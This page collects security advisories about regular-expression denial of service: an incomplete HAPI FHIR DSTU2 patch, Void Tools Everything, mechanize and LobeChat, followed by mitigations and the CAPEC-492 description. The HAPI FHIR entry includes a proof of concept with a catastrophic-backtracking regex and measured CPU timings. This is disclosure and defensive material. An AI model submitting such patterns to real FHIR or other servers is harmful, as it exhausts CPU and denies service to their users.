<version>6.9.7</version>
</dependency>
Test code (reproduces the exact behaviour of DSTU2 line 2462):
import org.hl7.fhir.utilities.regex.RegexTimeout;
import java.util.concurrent.*;
String regex = "((a|b){0,5}){20}";
String input = "a".repeat(25) + "c"; // no match → full backtracking
// ① Patched approach — RegexTimeout terminates at 500 ms
long t1 = System.currentTimeMillis();
try {
RegexTimeout.matches(input, regex, 500);
} catch (TimeoutException e) {
System.out.println("RegexTimeout blocked in " +
(System.currentTimeMillis() - t1) + " ms");
}
// ② DSTU2 line 2462 — raw String.matches(), no timeout
long t2 = System.currentTimeMillis();
input.matches(regex); // equivalent to what FHIRPathEngine does
System.out.println("str.matches() ran for " +
(System.currentTimeMillis() - t2) + " ms with no timeout");
Verified output (JDK 25.0.3, Linux):
RegexTimeout blocked in 508 ms ← patched modules: attack stopped
str.matches() ran for 1410 ms ← DSTU2: no timeout, CPU exhausted
The patched approach cuts off the evaluation at 508 ms. The unpatched DSTU2 code runs for 1410 ms on this input with no mechanism to stop it. Longer inputs or more complex patterns produce proportionally worse results.
Impact
Vulnerability type: Regular Expression Denial of Service (ReDoS) causing CPU exhaustion and service disruption.
Who is impacted: Any application using the ca.uhn.hapi.fhir:org.hl7.fhir.dstu2 module that evaluates user-supplied FHIRPath expressions — including the FHIR Validator HTTP endpoint, FHIR servers applying FHIRPath invariants from user-provided resources or profiles, and any system embedding FHIRPathEngine from the DSTU2 module. No authentication is required; an attacker needs only to submit a FHIR resource or FHIRPath expression whose matches() argument contains a catastrophically backtracking regular expression.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.9.9"
},
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.9.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.9.9"
},
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.convertors"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.9.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.9.9"
},
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.9.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.9.9"
},
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation.cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.9.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55470"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T18:47:23Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nThe fix for CVE-2026-45367 added `RegexTimeout` protection to the `matches()` function in DSTU2016MAY, DSTU3, R4, R4B, and R5, but the DSTU2 module was incompletely patched. In `org.hl7.fhir.dstu2`, `replaceMatches()` was updated while `matches()` at line 2462 still calls the raw `String.matches(sw)` without any timeout, allowing an unauthenticated attacker to trigger catastrophic regex backtracking and exhaust server CPU.\n\n\n## Details\n### Incomplete patch\n\nWithin the same file\n(`org.hl7.fhir.dstu2/utils/FHIRPathEngine.java`), the two functions were\npatched inconsistently:\n\n**Line 2226 \u2014 replaceMatches() \u2014 PATCHED:**\n```java\nresult.add(new StringType(\n RegexTimeout.replaceAll(\n convertToString(focus.get(0)), regex, repl, regexTimeoutMillis)));\n```\n\n**Line 2462 \u2014 matches() \u2014 NOT PATCHED:**\n```java\nresult.add(new BooleanType(\n convertToString(focus.get(0)).matches(sw)));\n// \u2191 raw String.matches() \u2014 no RegexTimeout, no complexity check\n```\n\n**DSTU3 line 2447 \u2014 matches() \u2014 PATCHED (for comparison):**\n```java\nresult.add(new BooleanType(\n RegexTimeout.matches(st, sw, regexTimeoutMillis)));\n```\n\n### Module-by-module status\n\n| Module | `matches()` | `replaceMatches()` |\n|---|---|---|\n| **DSTU2** | \u274c raw `str.matches(sw)` | \u2705 `RegexTimeout.replaceAll()` |\n| DSTU2016MAY | \u2705 `RegexTimeout.matches()` | \u2705 |\n| DSTU3 | \u2705 `RegexTimeout.matches()` | \u2705 |\n| R4 | \u2705 `RegexTimeout.matches()` | \u2705 |\n| R4B | \u2705 `RegexTimeout.matches()` | \u2705 |\n| R5 | \u2705 `RegexTimeout.matches()` | \u2705 |\n\n\n## PoC\n**Requirements:** Java 17+, Maven 3.8+\n\n**pom.xml dependencies:**\n```xml\n\u003cdependency\u003e\n \u003cgroupId\u003eca.uhn.hapi.fhir\u003c/groupId\u003e\n \u003cartifactId\u003eorg.hl7.fhir.utilities\u003c/artifactId\u003e\n \u003cversion\u003e6.9.7\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\n**Test code (reproduces the exact behaviour of DSTU2 line 2462):**\n```java\nimport org.hl7.fhir.utilities.regex.RegexTimeout;\nimport java.util.concurrent.*;\n\nString regex = \"((a|b){0,5}){20}\";\nString input = \"a\".repeat(25) + \"c\"; // no match \u2192 full backtracking\n\n// \u2460 Patched approach \u2014 RegexTimeout terminates at 500 ms\nlong t1 = System.currentTimeMillis();\ntry {\n RegexTimeout.matches(input, regex, 500);\n} catch (TimeoutException e) {\n System.out.println(\"RegexTimeout blocked in \" +\n (System.currentTimeMillis() - t1) + \" ms\");\n}\n\n// \u2461 DSTU2 line 2462 \u2014 raw String.matches(), no timeout\nlong t2 = System.currentTimeMillis();\ninput.matches(regex); // equivalent to what FHIRPathEngine does\nSystem.out.println(\"str.matches() ran for \" +\n (System.currentTimeMillis() - t2) + \" ms with no timeout\");\n```\n\n**Verified output (JDK 25.0.3, Linux):**\n```\nRegexTimeout blocked in 508 ms \u2190 patched modules: attack stopped\nstr.matches() ran for 1410 ms \u2190 DSTU2: no timeout, CPU exhausted\n```\n\nThe patched approach cuts off the evaluation at 508 ms. The unpatched DSTU2\ncode runs for 1410 ms on this input with no mechanism to stop it. Longer\ninputs or more complex patterns produce proportionally worse results.\n\n\n## Impact\n**Vulnerability type:** Regular Expression Denial of Service (ReDoS) causing CPU exhaustion and service disruption.\n\n**Who is impacted:** Any application using the `ca.uhn.hapi.fhir:org.hl7.fhir.dstu2` module that evaluates user-supplied FHIRPath expressions \u2014 including the FHIR Validator HTTP endpoint, FHIR servers applying FHIRPath invariants from user-provided resources or profiles, and any system embedding `FHIRPathEngine` from the DSTU2 module. No authentication is required; an attacker needs only to submit a FHIR resource or FHIRPath expression whose `matches()` argument contains a catastrophically backtracking regular expression.",
"id": "GHSA-fxj4-p9xp-37v5",
"modified": "2026-06-17T18:47:23Z",
"published": "2026-06-17T18:47:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-fxj4-p9xp-37v5"
},
{
"type": "PACKAGE",
"url": "https://github.com/hapifhir/org.hl7.fhir.core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "HAPI FHIR: Incomplete fix for CVE-2026-45367: DSTU2 FHIRPathEngine.matches() missing RegexTimeout protection allows ReDoS"
}
GHSA-FXX2-62XV-VCPH
Vulnerability from github – Published: 2023-04-12 15:30 – Updated: 2024-04-04 03:25Void Tools Everything lower than v1.4.1.1022 was discovered to contain a Regular Expression Denial of Service (ReDoS).
{
"affected": [],
"aliases": [
"CVE-2023-27704"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-12T14:15:00Z",
"severity": "MODERATE"
},
"details": "Void Tools Everything lower than v1.4.1.1022 was discovered to contain a Regular Expression Denial of Service (ReDoS).",
"id": "GHSA-fxx2-62xv-vcph",
"modified": "2024-04-04T03:25:11Z",
"published": "2023-04-12T15:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27704"
},
{
"type": "WEB",
"url": "https://drive.google.com/drive/folders/1BmHAGSugrFo0whDEmg6nnbaOkvE21X-p?usp=sharing"
},
{
"type": "WEB",
"url": "https://github.com/happy0717/CVE-2023-27704"
},
{
"type": "WEB",
"url": "https://www.voidtools.com/en-us/downloads"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G3PV-PJ5F-3HFQ
Vulnerability from github – Published: 2023-01-18 00:30 – Updated: 2025-12-22 16:31mechanize, a library for automatically interacting with HTTP web servers, contains a regular expression that is vulnerable to regular expression denial of service (ReDoS) prior to version 0.4.6. If a web server responds in a malicious way, then mechanize could crash. Version 0.4.6 has a patch for the issue.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mechanize"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-32837"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-20T23:35:49Z",
"nvd_published_at": "2023-01-17T22:15:00Z",
"severity": "HIGH"
},
"details": "mechanize, a library for automatically interacting with HTTP web servers, contains a regular expression that is vulnerable to regular expression denial of service (ReDoS) prior to version 0.4.6. If a web server responds in a malicious way, then mechanize could crash. Version 0.4.6 has a patch for the issue.",
"id": "GHSA-g3pv-pj5f-3hfq",
"modified": "2025-12-22T16:31:05Z",
"published": "2023-01-18T00:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32837"
},
{
"type": "WEB",
"url": "https://github.com/python-mechanize/mechanize/commit/dd05334448e9f39814bab044d2eaa5ef69b410d6"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mechanize/PYSEC-2023-25.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-mechanize/mechanize"
},
{
"type": "WEB",
"url": "https://github.com/python-mechanize/mechanize/blob/3acb1836f3fd8edc5a758a417dd46b53832ae3b5/mechanize/_urllib2_fork.py#L878-L879"
},
{
"type": "WEB",
"url": "https://github.com/python-mechanize/mechanize/releases/tag/v0.4.6"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/06/msg00022.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/12/msg00028.html"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2021-108-python-mechanize-mechanize"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "mechanize Regular Expression Denial of Service vulnerability"
}
GHSA-G4JQ-25CX-3CW5
Vulnerability from github – Published: 2026-07-02 21:32 – Updated: 2026-07-02 21:32LobeChat before version 2.2.10-canary.15 contains a regular expression denial of service (ReDoS) vulnerability that allows authenticated attackers to block the Node.js event loop by supplying a catastrophic-backtracking pattern in a GitHub repository URL path during skill import. Attackers can craft a malicious basePath value containing unescaped regex metacharacters such as catastrophic-backtracking patterns, which are injected into a dynamically constructed regular expression in the findSkillMd function and executed synchronously against archive entries, denying service to all concurrent users for tens of seconds per request.
{
"affected": [],
"aliases": [
"CVE-2026-58578"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-02T20:17:06Z",
"severity": "HIGH"
},
"details": "LobeChat before version 2.2.10-canary.15 contains a regular expression denial of service (ReDoS) vulnerability that allows authenticated attackers to block the Node.js event loop by supplying a catastrophic-backtracking pattern in a GitHub repository URL path during skill import. Attackers can craft a malicious basePath value containing unescaped regex metacharacters such as catastrophic-backtracking patterns, which are injected into a dynamically constructed regular expression in the findSkillMd function and executed synchronously against archive entries, denying service to all concurrent users for tens of seconds per request.",
"id": "GHSA-g4jq-25cx-3cw5",
"modified": "2026-07-02T21:32:13Z",
"published": "2026-07-02T21:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58578"
},
{
"type": "WEB",
"url": "https://github.com/lobehub/lobehub/issues/16494"
},
{
"type": "WEB",
"url": "https://github.com/lobehub/lobehub/pull/16548"
},
{
"type": "WEB",
"url": "https://github.com/lobehub/lobehub/commit/349bbe326eb8635d6d9c6a96d12702681ae3a84a"
},
{
"type": "WEB",
"url": "https://github.com/lobehub/lobehub/releases/tag/v2.2.10-canary.15"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/lobechat-canary-15-regular-expression-denial-of-service-in-github-skill-import"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
Mitigation
Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Mitigation
Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
Mitigation
Limit the length of the input that the regular expression will process.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.